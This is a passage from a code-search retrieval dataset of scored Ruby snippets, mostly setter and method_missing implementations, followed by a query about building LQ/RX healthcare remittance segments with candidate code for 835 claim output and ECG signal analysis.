/^set_(.+)/\n variable_name = \"@#{$1}\"\n if instance_variable_defined?(variable_name)\n instance_variable_set(variable_name, value)\n else\n raise NoMethodError.new(\"Undefined setter '#{setter.to_s}' for #{self.class}.\")\n end\n else\n super\n end\n end", "title": "" }, { "docid": "c3aa14ced3d51dfd36e906bb4d6b34fc", "score": "0.6478209", "text": "def _setter_method\n :\"_#{self[:name]}=\"\n end", "title": "" }, { "docid": "feb64b99e5dc7536d85638a759575fe0", "score": "0.6404328", "text": "def set(value)\n super(value == :true)\n end", "title": "" }, { "docid": "6732ee8d2e0342d6a67ecd3764b94145", "score": "0.638966", "text": "def value_if_false=(value)\n @value_if_false = value\n end", "title": "" }, { "docid": "9f1e8ccaa9d552b2f25fbd9d854820cc", "score": "0.6367929", "text": "def method_missing(meth, *args)\n return if not method_missing_hook(meth, args)\n\n d = self.class.structure_field_names\n m = meth.to_s\n\n setter = (m[-1].chr == \"=\") ? true : false\n m = m[0..-2] if setter\n\n puts \"WARNING: assignment to @value as struct field\" if setter and m == \"value\"\n\n if (i = d[m.intern])\n if setter\n self[m.intern] = args[0]\n else\n self[m.intern]\n end\n else\n super(meth, *args)\n end\n end", "title": "" }, { "docid": "b41fbc250cdec8689e3d7dee50f1ccc5", "score": "0.6363773", "text": "def special=(isSpecial)\n if isSpecial == true or isSpecial == \"true\" or isSpecial == 1\n self.override = true\n elsif isSpecial == false or isSpecial == \"false\" or isSpecial == 0\n self.override = false\n end\n end", "title": "" }, { "docid": "aba60270c34e52c9883c9a662052a506", "score": "0.6357024", "text": "def method_missing(method, *params)\n property = method.to_s\n if property =~ /(.*)=$/ # It's a value assignment\n @newvalues ||= []\n @newvalues << $1\n @properties[$1] = clean_value(params[0])\n else\n if @properties.has_key?(property)\n if self.class.boolean_fields.include?(property)\n (@properties[property] == 1)\n else\n @properties[property]\n end\n else\n super\n end\n end\n end", "title": "" }, { "docid": "303884e3dcf5e45f196afcd3fd96b4fb", "score": "0.6353668", "text": "def override_setter_on(model)\n model.class_eval %(\n def #{attribute}=(raw_value)\n definition = self.class.bitmask_definitions[:#{attribute}]\n if raw_value_index = definition.values.find_index(raw_value)\n @#{attribute} = raw_value\n self[:#{attribute}] = raw_value_index\n end\n @#{attribute}\n end\n )\n\n if default_raw.present? then\n model.class_eval %(\n before_save do |m|\n self[:#{attribute}] ||= #{default_raw}\n end\n )\n end\n\n end", "title": "" }, { "docid": "be26db1d3021b03dab1c205d7432f6a5", "score": "0.635262", "text": "def setter_method\n :\"#{self[:name]}=\"\n end", "title": "" }, { "docid": "2e9bb3fed96c5d881c18fc7acca701c5", "score": "0.6277721", "text": "def set(object, value); end", "title": "" }, { "docid": "b4f64ae920d96ca0c247892e5cf399f1", "score": "0.62711126", "text": "def set\n false\n end", "title": "" }, { "docid": "47222fcdc2b7b1a10cbb46a1ece3322d", "score": "0.6270383", "text": "def setter_method\n :\"#{self[:name]}=\"\n end", "title": "" }, { "docid": "6cb335f971ec4e7f2b4495cb45d52e05", "score": "0.6235833", "text": "def value=(val); end", "title": "" }, { "docid": "64caa7877c2c438816353133d64e01e3", "score": "0.6233286", "text": "def value_if_true=(value)\n @value_if_true = value\n end", "title": "" }, { "docid": "33d5217145f535a17b90168dfec988f5", "score": "0.6233012", "text": "def set(value)\n raise NotImplementedError\n end", "title": "" }, { "docid": "80a3a29bf5315ddb656f67a95ea7bbcb", "score": "0.6214739", "text": "def initialize(value)\r\n @value = value\r\n @changeable = true\r\n default_value?\r\nend", "title": "" }, { "docid": "dc9a063be27027aee2291b4d3fea37f9", "score": "0.620245", "text": "def value=(newval)\n raise\n end", "title": "" }, { "docid": "069c63cef6c27377704622f11ddcd40c", "score": "0.61495435", "text": "def define_attribute_setter(attribute_name, options)\n define_method \"#{attribute_name}=\" do |value|\n send(\"#{attribute_name}_will_change!\") unless value == send(attribute_name)\n\n value = ActiveModel::Type.lookup(options[:type]).deserialize(value) if options[:type]\n\n instance_variable_set(\"@#{attribute_name}\", value)\n end\n end", "title": "" }, { "docid": "29a992c0820d0f99cbb7661541499b11", "score": "0.6146931", "text": "def method_missing(method, *args, &block)\n meth, setter = /^(.*?)(=?)$/.match(method).values_at(1,2)\n if valid_temporal_attribute?(meth.to_sym) \n setter.empty? ? get(meth, *args) : set(meth, *args)\n else super\n end\n end", "title": "" }, { "docid": "8975f95936438911763d46097c40f12f", "score": "0.6135726", "text": "def set; end", "title": "" }, { "docid": "8975f95936438911763d46097c40f12f", "score": "0.6135726", "text": "def set; end", "title": "" }, { "docid": "00e290a3361050477557c3318493d8c9", "score": "0.6121962", "text": "def set_present\n set_value( true )\n end", "title": "" }, { "docid": "7ae9b37147225c7d27a2e909e1e3505d", "score": "0.60920095", "text": "def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end", "title": "" }, { "docid": "155371238fe19d5a88592a5a45ef0535", "score": "0.6072768", "text": "def proxy=(new_value); end", "title": "" }, { "docid": "4df5a7ff51c7d751f3c1508db7bb66a2", "score": "0.60651547", "text": "def to_setter\n\t\t\t\t(to_getter.to_s+\"=\").to_sym\n\t\t\tend", "title": "" }, { "docid": "f10bd56fd0221c1bcb007440a5b02280", "score": "0.60619897", "text": "def assign_boolean_param_if_used(attr_name, value)\n\t\tsend \"#{attr_name}=\", value.present? if value\n\tend", "title": "" }, { "docid": "c50b721299ce429d3c427a0ff90e89eb", "score": "0.6055893", "text": "def set_spec_option(obj, property, value, modifier = nil)\n unless value.nil?\n # Modifier is a method like :to_s or :to_i\n value = value.to_s if [true, false].include?(value)\n value = value.send(modifier) unless modifier.nil?\n _log.info \"#{property} was set to #{value} (#{value.class})\"\n obj.send(\"#{property}=\", value)\n else\n value = obj.send(property.to_s)\n if value.nil?\n _log.info \"#{property} was NOT set due to nil\"\n else\n _log.info \"#{property} inheriting value from spec: #{value} (#{value.class})\"\n end\n end\n end", "title": "" }, { "docid": "7d507cd57201ee47ff0bcd7d71c50429", "score": "0.6046717", "text": "def create_setter\n @model.class_eval <<-EOS, __FILE__, __LINE__\n #{writer_visibility}\n def #{name}=(value)\n self[#{name.inspect}] = value\n end\n EOS\n end", "title": "" }, { "docid": "a6feeb96b57a354ca945cef554ae2017", "score": "0.6041306", "text": "def validate_and_set(obj, attribute, value)\n if value.to_i >= 0\n obj.send(\"#{attribute}=\", value)\n validators = obj.class.validators_on(attribute)\n if !validators.empty?\n validators.each { |v| v.validate obj }\n\n unless obj.errors.full_messages.blank?\n obj.send(\"#{attribute}=\", nil)\n log_error(obj, \"#{attribute} not set because #{obj.errors.full_messages.to_sentence}.\")\n obj.errors.clear\n end\n end\n else\n log_error(obj, \"#{attribute} not set because #{value} is negative.\")\n end\n end", "title": "" }, { "docid": "a3a39d51672e7c2a86936d3082bba306", "score": "0.6030172", "text": "def actual=(value)\n throw \"must be provided by subclass\"\n end", "title": "" }, { "docid": "4eeee0435263f39fe9efffed6c36b6f0", "score": "0.60104513", "text": "def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end", "title": "" }, { "docid": "7c7ca9f11548e9700e8f4c5954b15f1e", "score": "0.6007291", "text": "def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end", "title": "" }, { "docid": "300767cf97549bfcfa47b18866219385", "score": "0.59787107", "text": "def method_missing(method, *args, &block)\n attribute = method.to_s\n\n if attribute =~ /=$/ # Define property -- does not have to exist\n attribute = attribute.chop\n self.changed_attributes[attribute] = args[0]\n self.attributes[attribute] = args[0]\n else\n return super unless self.attributes.include?(attribute)\n self.attributes[attribute]\n end \n \n end", "title": "" }, { "docid": "b523ab10f8ca2fee818d2d9031947222", "score": "0.59752876", "text": "def baz=(value)\n @baz = value\nend", "title": "" }, { "docid": "b523ab10f8ca2fee818d2d9031947222", "score": "0.59752876", "text": "def baz=(value)\n @baz = value\nend", "title": "" }, { "docid": "fdb96649ecbf33b506a9c53f6c12fbc1", "score": "0.59750247", "text": "def method_missing(method_name, *args, &block)\n if method_name.to_s.end_with?('=')\n set_attribute(method_name, *args)\n elsif has_attribute?(method_name)\n get_attribute(method_name)\n else\n super\n end\n end", "title": "" }, { "docid": "acfbeb33fa6f5a84bd395694f6649a11", "score": "0.59721714", "text": "def property_set sym, val\n oldvalue = instance_variable_get \"@#{sym}\"\n tmp = val.size == 1 ? val[0] : val\n newvalue = tmp\n if oldvalue.nil? || @_object_created.nil?\n #@#{sym} = tmp\n instance_variable_set \"@#{sym}\", tmp\n end\n return(self) if oldvalue.nil? || @_object_created.nil?\n\n if oldvalue != newvalue\n # trying to reduce calls to fire, when object is being created\n begin\n @property_changed = true\n fire_property_change(\"#{sym}\", oldvalue, newvalue) if !oldvalue.nil?\n #@#{sym} = tmp\n instance_variable_set \"@#{sym}\", tmp\n #@config[\"#{sym}\"]=@#{sym}\n rescue PropertyVetoException\n $log.warn \"PropertyVetoException for #{sym}:\" + oldvalue.to_s + \"-> \"+ newvalue.to_s\n end\n end # if old\n self\n end", "title": "" }, { "docid": "8283b1de573b6513575e739bf9eb83db", "score": "0.595295", "text": "def attribute_to_set; end", "title": "" }, { "docid": "89a6dff8100f5c048ed4fa2bc98bba13", "score": "0.59477866", "text": "def immutable=(bool)\n nil\n end", "title": "" }, { "docid": "61158f10681a211e34b9f50898d29e6e", "score": "0.5935144", "text": "def set(value)\n # Set a name for looking up associated options like the event.\n name = self.class.value_name(value)\n\n call = self.class.value_option(name, :call) || :none\n\n if call == :instead\n call_valuemethod(name, value)\n elsif call == :none\n # They haven't provided a block, and our parent does not have\n # a provider, so we have no idea how to handle this.\n self.fail \"#{self.class.name} cannot handle values of type #{value.inspect}\" unless @resource.provider\n call_provider(value)\n else\n # LAK:NOTE 20081031 This is a change in behaviour -- you could\n # previously specify :call => [;before|:after], which would call\n # the setter *in addition to* the block. I'm convinced this\n # was never used, and it makes things unecessarily complicated.\n # If you want to specify a block and still call the setter, then\n # do so in the block.\n devfail \"Cannot use obsolete :call value '#{call}' for property '#{self.class.name}'\"\n end\n end", "title": "" }, { "docid": "a4ed5d1b20d037be08dc865fc91592f9", "score": "0.5928875", "text": "def update_attribute_without_validatons_or_callbacks(name, value)\n set(Hash[name, value])\n end", "title": "" }, { "docid": "96083b1222508794fc54337604fadb9a", "score": "0.5925147", "text": "def value=(_); end", "title": "" }, { "docid": "95f7dab6ed8c2608decf2935635379fb", "score": "0.59125054", "text": "def z=(value)\n end", "title": "" }, { "docid": "fccde309310c4f2ea9fd1739f0c6f030", "score": "0.59033424", "text": "def method_missing(method_name, *arguments, &block)\n if /^(?<id>[^=]+)(?<assign>=)?$/ =~ method_name.to_s && attribute = self[id]\n assign ? attribute.send(\"value=\", *arguments) : attribute.value\n else\n super\n end\n end", "title": "" }, { "docid": "607a112b4fdf3aa5873357fa513582af", "score": "0.58961594", "text": "def value=(value)\n value = (value == \"false\" || value == false) ? false : true\n super value\n end", "title": "" }, { "docid": "ace1f5a00d86d5672152c1302cb9dafc", "score": "0.5877962", "text": "def create_setter\n @model.class_eval <<-EOS, __FILE__, __LINE__\n #{writer_visibility}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n end", "title": "" }, { "docid": "5ccd95ac11ef9f6599c3ae22397ca612", "score": "0.58740336", "text": "def method_missing(method_name, *args, &block)\n setter = method_name.to_s.end_with?('=')\n key = method_name.to_s.chomp('=').to_sym\n\n if config.key?(key)\n setter ? config[key] = args.shift : config[key]\n else\n super\n end\n end", "title": "" }, { "docid": "0e2a10ea0a0215cf8d6d2aa9f7f38a4c", "score": "0.58651173", "text": "def value=(value)\n @model.generic_set(@name, value ? @true_value : @false_value)\n end", "title": "" }, { "docid": "42cad2f448a4863827ede7e62227f85d", "score": "0.58643264", "text": "def set(*args)\n # not supported\n end", "title": "" }, { "docid": "42cad2f448a4863827ede7e62227f85d", "score": "0.58643264", "text": "def set(*args)\n # not supported\n end", "title": "" }, { "docid": "43818facc6bca1b57d8708b0a4532653", "score": "0.5861844", "text": "def setter(name, metadata)\n re_define_method(\"#{name}=\") do |object|\n without_autobuild do\n if value = get_relation(name, metadata, object)\n if value.respond_to?(:substitute)\n set_relation(name, value.substitute(object.substitutable))\n end\n else\n __build__(name, object.substitutable, metadata)\n end\n end\n end\n self\n end", "title": "" }, { "docid": "7b97fb931b27377d805b94cae2a14135", "score": "0.5847696", "text": "def define_setter\n name = @name\n klass.send :define_method, \"#{name}=\" do |unit|\n send \"#{name}_value=\", unit.value\n send \"#{name}_unit=\", unit.unit.to_s\n end\n end", "title": "" }, { "docid": "43f1d4d41a57a45c6b7d6921ad4e955c", "score": "0.58436084", "text": "def expected_value=(arg)\n end", "title": "" }, { "docid": "43f1d4d41a57a45c6b7d6921ad4e955c", "score": "0.58436084", "text": "def expected_value=(arg)\n end", "title": "" }, { "docid": "d55beb00319d79b8cb02e5c940ae1834", "score": "0.58426833", "text": "def setter( name ) (name.to_s + '=').to_sym end", "title": "" }, { "docid": "bf3116cb85646b1cbe66f1ed0030b80e", "score": "0.5834898", "text": "def value=(value)\n self.should = value\n end", "title": "" }, { "docid": "25186f73965af623e35af27fa06549d1", "score": "0.5817889", "text": "def method_missing(meth, *args, &blk)\n name = meth.to_s\n return evaluate(self[meth]) if name.size == 1\n # Ruby 1.8.7 doesn't let you do string[-1]\n key, suffix = name[0..-2].to_sym, name[-1..-1]\n case suffix\n when '='\n self[key] = args.first\n when '?'\n include? key\n when '!'\n raise Error, \"Setting :#{key} is not set\" unless include?(key)\n evaluate self[key]\n else\n evaluate self[meth]\n end\n end", "title": "" }, { "docid": "b986f9f412efaeff4ce8454f896e67f5", "score": "0.5817417", "text": "def __copy_on_write__(*)\n super.tap do\n new_set = __getobj__.instance_variable_get(:@set).dup\n __getobj__.instance_variable_set(:@set, new_set)\n end\n end", "title": "" }, { "docid": "ada3f3275782e0e97f881f652887b0cb", "score": "0.58064675", "text": "def attr_set_boolean(attr_type, attr_value)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "dc70930b38d37b8d3005392b01c99137", "score": "0.5788175", "text": "def old_value=(_arg0); end", "title": "" }, { "docid": "a0313548e2a3b16fbe40d57f39380777", "score": "0.5782047", "text": "def raw_setter xfield,pattern\n field = \"@#{xfield}\"\n m = self.raw_line.match pattern\n return false if m.nil?\n #p \"#{field} => #{m.inspect}\" \n if BOOL_ATTRIBUTES.include? xfield\n self.instance_variable_set(field, true)\n return true \n end\n\n if STR_ATTRIBUTES.include? xfield \n self.instance_variable_set(field, m[1])\n return true\n end\n\n if ARR_STR_ATTRIBUTES.include? xfield \n self.instance_variable_set(field, m.to_a)\n return true\n end\n\n if SUB_STR_ATTRIBUTES.include? xfield \n self.instance_variable_set(field, m[1])\n return true\n end \n return false\n end", "title": "" }, { "docid": "5bc5861b505af992fb66cf0f270d8832", "score": "0.5781906", "text": "def set_value new_value\n if validate_value new_value\n @value = new_value\n end\n end", "title": "" }, { "docid": "adeebc24eb06015e7354a5bc7788c36b", "score": "0.5780342", "text": "def assign_property(name, value); end", "title": "" }, { "docid": "7d24a6c1ae6b13cd8ed581afcbaf4b85", "score": "0.57702345", "text": "def x=(value)\n end", "title": "" }, { "docid": "d508f29eea085d040ff4c00efa72b4ff", "score": "0.5762059", "text": "def set_attribute(name, value); end", "title": "" }, { "docid": "e01759e49d75f6e725beabc98353bae4", "score": "0.5758006", "text": "def set_obj(obj,id,attr,value)\n a = set_safe(obj,attr,id,value)\n return a if a\n nil\n end", "title": "" }, { "docid": "e109e721093cf6bd456777b1722c7eb8", "score": "0.57492715", "text": "def value=(value)\n if @value.class == value.class\n @value = value\n @updater = nil\n else\n raise \"Class of new value (#{value.class}) does not match class of current value (#{@value.class})\"\n end\n end", "title": "" }, { "docid": "548b0bf9446e44b88982179efd74623e", "score": "0.5748713", "text": "def []=(property, value); end", "title": "" }, { "docid": "951fec0800217ac7e46a9c8931463999", "score": "0.57458836", "text": "def default=(value); end", "title": "" }, { "docid": "fa0b393e884134379b14cc2f66a9be29", "score": "0.5736264", "text": "def method_missing field, *args, &block\n set field, *args, &block\n end", "title": "" }, { "docid": "bebd6f1d683e02cf81c3b6a25cd687e8", "score": "0.57169515", "text": "def set!(*args)\n end", "title": "" }, { "docid": "72a27db67b1633046275855291d00a77", "score": "0.5715017", "text": "def set=(_arg0); end", "title": "" }, { "docid": "ee8d648c4330da1616e81022ec846236", "score": "0.57128686", "text": "def new_value(old_value)\n raise 'to be implemented in subclass'\n end", "title": "" }, { "docid": "4d3e730ee4be61d3ccd11c8e918f8916", "score": "0.57071024", "text": "def set_value value\n if allows? value\n @set_value_handler.call value\n end\n end", "title": "" }, { "docid": "50eabf64cf97a97b23a585d7ffbb047c", "score": "0.5702635", "text": "def set_value( value )\n @value = value \n end", "title": "" }, { "docid": "2cc79005083660d57cb0ecd232cd07f9", "score": "0.5696902", "text": "def w=(val); self[2] = val; end", "title": "" }, { "docid": "85a18d18ee38965ad8619b5d24ea422b", "score": "0.56866974", "text": "def safe_by_default=(_arg0); end", "title": "" }, { "docid": "96130ae1b64e9e8a2d2f82a71bf342e1", "score": "0.5686441", "text": "def set(v, invalid: false, nil_default: false, **)\n unless v.nil?\n @value = normalize(v)\n @value = nil unless valid?(@value)\n end\n @value ||= (v if invalid) || (default unless nil_default)\n end", "title": "" }, { "docid": "a4842a145c77798c6a77744cbb5c1c7a", "score": "0.56579137", "text": "def temporarily(obj, member, new_value)\n old_value = obj.send(member)\n\n begin\n obj.send(member.to_s+'=', new_value) # CONSIDER look up the assign thinger?\n yield\n ensure\n obj.send(member.to_s+'=', old_value)\n end\nend", "title": "" }, { "docid": "661d49b44b559b934a36d22fe17312f1", "score": "0.56531", "text": "def attr_writer(sym, *more) end", "title": "" }, { "docid": "0487fcc874094493eb292e47eb21a77d", "score": "0.5651441", "text": "def attribute!(name, options={})\n super(name, options)\n define_method(\"#{name}=\") do |value|\n typecast_value = typecast_attribute(typecaster_for(self.class._attribute_type(name)), value)\n send(\"#{name}_will_change!\") unless typecast_value == read_attribute(name)\n super(value)\n end\n end", "title": "" }, { "docid": "522a7c09a10cacd210957ef1b97ea708", "score": "0.56496876", "text": "def equalizer(obj, other, att, value)\n setter = \"#{att}=\"\n obj.send(setter, value)\n other.send(setter, value)\nend", "title": "" }, { "docid": "211bdf4a3dd6e9728544dbab3af9a01c", "score": "0.5646293", "text": "def assign_via_writer?(ivar)\n self.methods.include?(\"#{ivar}=\") || association?(ivar)\n end", "title": "" }, { "docid": "78e4e7e92651911679b970d23f2803a4", "score": "0.5645395", "text": "def func_set(args)\n p1 = _eval(car(args))\n p2 = _eval(car(cdr(args)))\n\n if p1 == @o_man.nil\n if @lint\n Error.warn(\"warning: setting the value of a nil object\")\n end\n else\n @o_man.set_object(p1, p2)\n end\n return p2\n end", "title": "" }, { "docid": "d8b031fdd12f14f1687895cfe09fb4a3", "score": "0.5638353", "text": "def value=(new_value)\n @value = self.lazy_proc?(new_value) ? new_value : self.coerce(new_value)\n end", "title": "" }, { "docid": "c9aa62ed52edb4b35c435fbde2087ee4", "score": "0.56373644", "text": "def explicitly_set_value?\n @explicitly_set_value == true\n end", "title": "" }, { "docid": "72964f2e48c02394635ad5681afbd329", "score": "0.56353146", "text": "def set(field,value)\n set_method = (field.to_s + \"=\").to_sym\n m = self.method((field.to_s + \"=\").to_sym)\n m.call value\n end", "title": "" }, { "docid": "47198fb49bed7541cf62a3b1844d6cb3", "score": "0.56324965", "text": "def assign?\n\t\ttrue\n\tend", "title": "" }, { "docid": "37a6542d322674a03a59f12598cff907", "score": "0.56288093", "text": "def set_double(attr, val); end", "title": "" }, { "docid": "37a6542d322674a03a59f12598cff907", "score": "0.56288093", "text": "def set_double(attr, val); end", "title": "" }, { "docid": "3a4df9ea9210dda4cf3ad5912e3ae715", "score": "0.56264216", "text": "def method_missing(meth,*args,&block)\n\n method = meth.to_s # convert method name to a string\n setter = method.end_with?('=') # determine if this is a setter method (which would have the last character \"=\" in the method name)\n attribute = setter ? method.chop : method # the attribute name needs to have the \"=\" removed if it is a setter\n multivalued_field = attribute.end_with?(self.class.multivalued_field_marker) # in place editing fields can end with the special character marker, which will join arrays when return; and split them when setting\n attribute.gsub!(self.class.multivalued_field_marker,'') if multivalued_field\n\n solr_field_config=self.class.field_mappings[attribute.downcase.to_sym] # lookup the solr field for this accessor\n if solr_field_config\n solr_field_name=solr_field_config[:field].downcase\n default_value=solr_field_config[:default] || ''\n if setter # if it is a setter, cache the edit if it has changed\n old_values=self[solr_field_name]\n new_values=args.first\n if !self.class.is_equal?(old_values,new_values,multivalued_field) # we should only cache the edit if it actually changed\n value = (multivalued_field ? new_values.split(\"|\") : new_values) # split the values when setting if this is an in place edit field\n cache_edit({solr_field_name.to_sym=>value})\n return value\n else\n return old_values\n end\n else # if it is a getter, return the value\n value = unsaved_edits[solr_field_name.to_sym] || self[solr_field_name] # get the field value, either from unsaved edits or from solr document\n value = default_value if value.blank?\n return (multivalued_field && value.class == Array ? value.join(\" | \") : value) # return a joined value if this is an in place edit field, otherwise just return the value\n end\n else\n super # we couldn't find any solr fields configured, so just send it to super\n end\n\n end", "title": "" } ]
b55e86235d5eed0511a2330c1923f680
Computing LQRX segments according to the Patient Type(InPatient or OutPatient)
[ { "docid": "b20c6cfe789234ba5efe71ee8dc48cf2", "score": "0.7632002", "text": "def compute_lq(patient_type)\n segments = []\n patient_code = service.send(\"#{patient_type}patient_code\")\n facility_payer_information = FacilitiesPayersInformation.find_by_payer_id_and_facility_id(payer.id, facility.id) if payer\n if facility_payer_information\n capitation_code = facility_payer_information.capitation_code\n if(patient_type == \"in\")\n allowance_code = facility_payer_information.in_patient_allowance_code\n payment_code = facility_payer_information.in_patient_payment_code\n else\n allowance_code = facility_payer_information.out_patient_allowance_code\n payment_code = facility_payer_information.out_patient_payment_code\n end\n \n end\n unless patient_code.blank?\n patient_code_array = patient_code.split(\",\")\n segments << (lq_rx_segments(allowance_code) if patient_code_array.include?(\"1\") and !allowance_code.blank?)\n segments << (lq_rx_segments(capitation_code) if patient_code_array.include?(\"2\") and !capitation_code.blank?)\n end\n serv_amt = service.service_paid_amount.to_f\n pat_type = @eob.patient_type.downcase rescue nil\n \n if serv_amt > 0 and pat_type == \"#{patient_type}patient\"\n segments << (lq_rx_segments(payment_code) unless payment_code.blank?)\n end\n segments\n end", "title": "" } ]
[ { "docid": "59199b27b4f6ec46a8783dbbe6ca2417", "score": "0.6101805", "text": "def health_remark_code_segments\n @eob = service.insurance_payment_eob\n facility = @eob.check_information.job.batch.facility\n health_remark_code_segments = []\n health_remark_code_segments << compute_lq(\"in\")\n health_remark_code_segments << compute_lq(\"out\") \n if facility.details[:interest_in_service_line] && service.interest_service_line?\n health_remark_code_segments << lq_rx_segments(\"109975\") if @eob.claim_interest.to_f > 0.0 \n end \n health_remark_code_segments << lq_rx_segments(\"109702\") if @eob.hcra.to_f > 0.0\n health_remark_code_segments.compact!\n health_remark_code_segments.flatten\n end", "title": "" }, { "docid": "b1b26c48b5f5c4edbfc008ac07552c5d", "score": "0.56756604", "text": "def lq_rx_segments(code)\n lq_rx_segments = []\n lq_rx_segments << 'LQ'\n lq_rx_segments << 'RX'\n lq_rx_segments << (code.blank? ? '' : code.strip)\n Output835.trim_segment(lq_rx_segments)\n lq_rx_segments.join(@element_seperator)\n end", "title": "" }, { "docid": "b9b0b1346b0dcb0522ce3cc29ca91aeb", "score": "0.49078685", "text": "def service_lane lane, enter, exit\n segment = []\n (enter..exit).each do |x|\n segment << lane[x]\n end\n width = segment.min\n \nend", "title": "" }, { "docid": "fb67221ab3d61c91064e38f3eea67472", "score": "0.48092225", "text": "def claim_payment_loop\n claim_payment_segments = []\n @clp_pr_amount = nil\n claim_payment_segments << claim_payment_information\n service_eob = @services.detect{|service| service.adjustment_line_is? }\n if service_eob\n cas_segments, @clp_pr_amount, crosswalked_codes = Output835.cas_adjustment_segments(service_eob,\n @client, @facility, @payer, @element_seperator, @eob, @batch, @check)\n claim_payment_segments << cas_segments\n end\n if @is_claim_eob\n cas_segments, @clp_05_amount, crosswalked_codes = Output835.cas_adjustment_segments(@eob,\n @client, @facility, @payer, @element_seperator, @eob, @batch, @check)\n claim_payment_segments << cas_segments\n end\n claim_payment_segments << patient_name\n unless @eob.pt_name_eql_sub_name?\n claim_payment_segments << insured_name\n end\n claim_payment_segments << service_prov_name\n claim_payment_segments << service_prov_identifier\n if @is_claim_eob\n claim_payment_segments << Output835.claim_level_remark_code_segments(@eob, @element_seperator, crosswalked_codes)\n end\n claim_payment_segments << image_page_name\n claim_payment_segments << medical_record_number\n claim_payment_segments << claim_uid if @client_name == \"QUADAX\"\n claim_payment_segments << other_claim_related_id\n claim_payment_segments.compact\n end", "title": "" }, { "docid": "cd456410fa269ba5697ff1fe0f7f7f9e", "score": "0.4792968", "text": "def segments; end", "title": "" }, { "docid": "493f810dc233074b6e37daaaa97a60f3", "score": "0.47634524", "text": "def claim_loop\n segments = []\n @eobs.each_with_index do |eob, index|\n @check_grouper.last_eob = eob\n @check = eob.check_information\n @job = @check.job\n if @check.micr_line_information && @check.micr_line_information.payer && @facility.details[:micr_line_info]\n @payer = @check.micr_line_information.payer\n else\n @payer = @check.payer\n end\n @facility_output_config = @facility.output_config(@payer.payer_type)\n @reason_codes = nil #this variable is used in child class for configurable section\n @eob = eob\n @claim = eob.claim_information\n @eob_index = index\n @services = eob.service_payment_eobs\n @is_claim_eob = (eob.category.upcase == \"CLAIM\")\n @count = count\n segments << transaction_set_line_number(index + 1)\n segments << transaction_statistics([eob])\n segments += generate_eobs\n end\n segments.flatten.compact\n end", "title": "" }, { "docid": "6dcea305e64dd08a5b03e8f673c1e9eb", "score": "0.47193083", "text": "def detect_segment_errors(segment, segment_start, segment_end) #collapse_start\n segment_length = segment.length\n averaged_segment = Array.new(segment_length)\n local_maxes = Array.new\n\n # Smooth the data by taking the averages\n for i in 0...segment_length\n if i == 0\n averaged_segment[i] = segment.slice(0,3).inject(:+).to_f / 3.0\n elsif i == 1\n averaged_segment[i] = segment.slice(0,4).inject(:+).to_f / 4.0\n elsif i == segment_length-1\n averaged_segment[i] = segment.slice(segment_length-3, 3).inject(:+).to_f / 3.0\n elsif i == segment_length-2\n averaged_segment[i] = segment.slice(segment_length-4, 4).inject(:+).to_f / 4.0\n else\n averaged_segment[i] = segment.slice(i-2, 4).inject(:+).to_f / 4.0\n end\n end\n\n # Find all the local maxes in the data, that can correspond to qrs segments or smaller local maxes\n j = 0\n while j < segment_length\n current = averaged_segment[j]\n local_max = true\n\n if (current - BASELINE_VALUE) > 20\n starting = [j-10, 0].max\n ending = [j+10, segment_length].min\n for k in starting...ending\n if averaged_segment[k] > current\n local_max = false\n break\n end\n end\n\n if local_max\n if (current - 512) > 250\n local_maxes.push({ index: j, type: 'qrs' })\n else\n local_maxes.push({ index: j, type: 'small' })\n end\n j += 10\n end\n end\n j += 1\n end\n\n distances = Array.new\n flutters = Array.new\n w = 0\n\n # Find the distances between qrs segments\n # Find the number of small local maxes in between qrs segments (corresponding to atrial flutters)\n while w < local_maxes.length - 1\n current = local_maxes[w]\n if current[:type] == 'qrs'\n idx = w+1\n counter = 0\n\n while idx < local_maxes.length\n if local_maxes[idx][:type] == 'qrs'\n distances.push({\n start: current[:index],\n stop: local_maxes[idx][:index],\n distance: local_maxes[idx][:index] - current[:index]\n })\n if counter >= 4\n flutters.push({\n start: current[:index],\n stop: local_maxes[idx][:index],\n distance: local_maxes[idx][:index] - current[:index]\n })\n end\n break;\n end\n\n counter += 1\n idx += 1\n end\n\n w = idx\n else\n w += 1\n end\n end\n\n max_distance = distances.present? ? distances.max_by { |obj| obj[:distance] }[:distance] : 0\n min_distance = distances.present? ? distances.min_by { |obj| obj[:distance] }[:distance] : 0\n long_distances = Array.new\n if max_distance - min_distance > 75\n long_distances = distances.select { |obj| obj[:distance] > max_distance-25 }\n long_distances = long_distances.reduce([]) do |memo, val|\n last = memo.last\n if last\n if last[:stop] == val[:start]\n last[:stop] = val[:stop]\n last[:distance] = last[:distance] + val[:distance]\n memo[-1] = last\n\n memo\n else\n memo.push(val)\n end\n else\n [val]\n end\n end\n end\n\n long_distances.each do |dist_obj|\n signal = segment.slice(dist_obj[:start], dist_obj[:distance])\n\n StreamAlert.create({\n signal: signal,\n start_time: Time.at(segment_start.to_f + dist_obj[:start]*MS_PER_SAMPLE/1000.0),\n end_time: Time.at(segment_start.to_f + dist_obj[:stop]*MS_PER_SAMPLE/1000.0),\n alert: 'Sinus Arrythmia',\n ecg_stream_id: self.id\n })\n end\n\n flutters.each do |flutter_obj|\n signal = segment.slice(flutter_obj[:start], flutter_obj[:distance])\n\n StreamAlert.create({\n signal: signal,\n start_time: Time.at(segment_start.to_f + flutter_obj[:start]*MS_PER_SAMPLE/1000.0),\n end_time: Time.at(segment_start.to_f + flutter_obj[:stop]*MS_PER_SAMPLE/1000.0),\n alert: 'Atrial Flutter',\n ecg_stream_id: self.id\n })\n end\n end", "title": "" }, { "docid": "d59fb1b3f414497ef69960be8f53e9dd", "score": "0.4702545", "text": "def live_segmentations\n segmentations = Array.new\n \n segment = self.segments.new\n \n segmentations << segment.script(\"SELECT * FROM [$$brand_code$$_WeeklyCampaign] WHERE campaign_id = $$campaign_id$$\")\n segmentations << segment.script(\"SELECT * FROM [$$brand_code$$_Whole] Whole WHERE NOT EXISTS ( SELECT * FROM [$$brand_code$$_UNSUBS] Unsubs WHERE Unsubs.email_address = Whole.email_address ) AND NOT EXISTS ( SELECT * 